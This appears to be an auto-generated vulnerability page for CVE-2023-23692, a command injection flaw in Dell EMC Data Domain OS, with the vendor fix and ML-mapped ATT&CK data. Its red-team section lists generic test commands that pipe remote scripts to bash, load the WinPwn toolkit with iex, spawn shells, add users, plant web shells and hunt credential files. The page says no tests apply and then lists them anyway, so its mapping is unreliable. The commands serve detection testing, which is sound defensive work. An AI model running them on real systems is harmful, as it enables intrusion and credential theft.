CVE-2023-23692
Overview
This vulnerability is an OS command injection flaw in Dell EMC Data Domain OS versions prior to DDOS 7.9. The root cause lies in insufficient input validation of user-supplied data within the application, allowing crafted input to be interpreted as OS commands. The affected component is the underlying operating system interface exposed through application functionality accessible to authenticated users with limited privileges.
Vulnerability Description
Dell EMC prior to version DDOS 7.9 contain(s) an OS command injection Vulnerability. An authenticated non admin attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS, with the privileges of the vulnerable application.
Impact
An attacker with authenticated, non-administrative access can execute arbitrary operating system commands with the privileges of the vulnerable application. This enables actions such as unauthorized data access, modification, or service disruption. Network access and valid credentials are prerequisites, as indicated by the CVSS vector requiring low privileges (PR:L) but no user interaction (UI:N). Successful exploitation can lead to significant compromise of the affected system's integrity and availability.
Solution
Dell advises updating Dell EMC Data Domain OS to version 7.9 or later as detailed in advisory DSA-2022-187 available at https://www.dell.com/support/kbdoc/en-us/000201296/dsa-2022-187-dell-technologies-powerprotect-data-domain-security-update-for-multiple-third-party-component-vulnerabilities. This update addresses the command injection vulnerability along with other third-party component issues. Administrators should apply the recommended patches promptly to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell EMC's Data Domain Operating System prior to version 7.9 is characterized by an OS command injection flaw. This type of vulnerability allows an authenticated non-admin attacker to inject arbitrary operating system commands into the application. The underlying architecture of the affected product does not adequately sanitize user inputs, enabling malicious actors to manipulate command execution. By exploiting this flaw, attackers can gain control over the system with the same privileges as the application, potentially leading to unauthorized access to sensitive data, system configuration changes, or even complete system compromise.
Attack vectors for this vulnerability are particularly concerning due to the requirement for only authenticated access. An attacker with valid credentials, albeit non-admin, can leverage this flaw to execute commands that could alter system behavior or extract confidential information. For instance, an attacker could craft a request that includes malicious commands, which the application would then execute on the server. This could be done through various interfaces provided by the application, such as web forms, API endpoints, or command-line interfaces. The exploitation scenarios could range from simple data exfiltration to deploying malware or creating backdoors for persistent access, significantly amplifying the risk to the organization's infrastructure.
The real-world impact of this vulnerability can be severe, particularly for organizations relying on Dell EMC's Data Domain for data storage and backup solutions. The potential for arbitrary command execution means that attackers could disrupt business operations, compromise sensitive data, and damage the organization's reputation. The financial implications could also be substantial, including costs associated with incident response, system recovery, and potential legal liabilities stemming from data breaches. Furthermore, the high CVSS score of 8.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from organizations that utilize the affected products.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted strategy. First, they should ensure that their systems are updated to the latest version of the Data Domain Operating System, which addresses this flaw. Regular vulnerability assessments and penetration testing should be conducted to identify and remediate any potential weaknesses in the system. Additionally, organizations should enforce strict access controls, ensuring that only necessary personnel have authenticated access to the system. Monitoring and logging of system activities can also help detect unusual behavior indicative of exploitation attempts, allowing for timely incident response.
In conclusion, the OS command injection vulnerability in Dell EMC's Data Domain Operating System represents a significant threat to organizations that rely on this technology. The ability for an authenticated non-admin attacker to execute arbitrary commands poses a serious risk to data integrity, confidentiality, and availability. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability, ultimately safeguarding their critical assets and maintaining business continuity.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Emc Data Domain Os | All |
cpe:2.3:o:dell:emc_data_domain_os:*:*:*:*:*:*:*:*
|
|
|
Dell | Emc Data Domain Os | All |
cpe:2.3:o:dell:emc_data_domain_os:*:*:*:*:-:*:*:*
|
|
|
Dell | Emc Data Domain Os | All |
cpe:2.3:o:dell:emc_data_domain_os:*:*:*:*:lts:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-23692 |
| dell.com |
GitHub CVE
vendor-advisory
|
https://www.dell.com/support/kbdoc/en-us/000201296/dsa-2022-187-dell-technologies-powerprotect-data-domain-security-update-for-multiple-third-party-component-vulnerabilities |